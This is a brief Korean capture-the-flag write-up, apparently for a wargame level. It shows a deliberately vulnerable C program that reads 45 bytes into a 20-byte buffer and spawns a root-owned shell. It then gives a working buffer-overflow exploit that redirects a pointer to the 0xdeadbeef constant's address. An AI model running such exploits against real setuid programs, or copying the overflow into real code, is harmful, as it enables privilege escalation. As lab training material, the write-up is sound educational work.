#include <stdio.h>
main()
{ int crap;
int *check;
char buf[20];
fgets(buf,45,stdin);
if (*check==0xdeadbeef)
{
setreuid(3096,3096);
system("/bin/sh");
}
}
level14 와 비슷하지만 check 변수가 포인터이다. 따라서 0xdeadbeef 문자열이 존재하는 주소를 check 변수에 넣어야한다.
[그림 1-1] 참조하면 [그림 1-2] 그릴 수 있다.
payload 는 "A" * 40 + 0xdeadbeef 문자열 주소
따라서 0xdeadbeef 문자열 위치를 찾아야한다.
main 어셈블리를 보면 0x080484b0 위치에 0xdeadbeef 가 있다.
0x080484b2 위치에 문자열이 존재한다.
(python -c 'print("A"*40+"\xb2\x84\x04\x08")';cat) | ./attackme
성공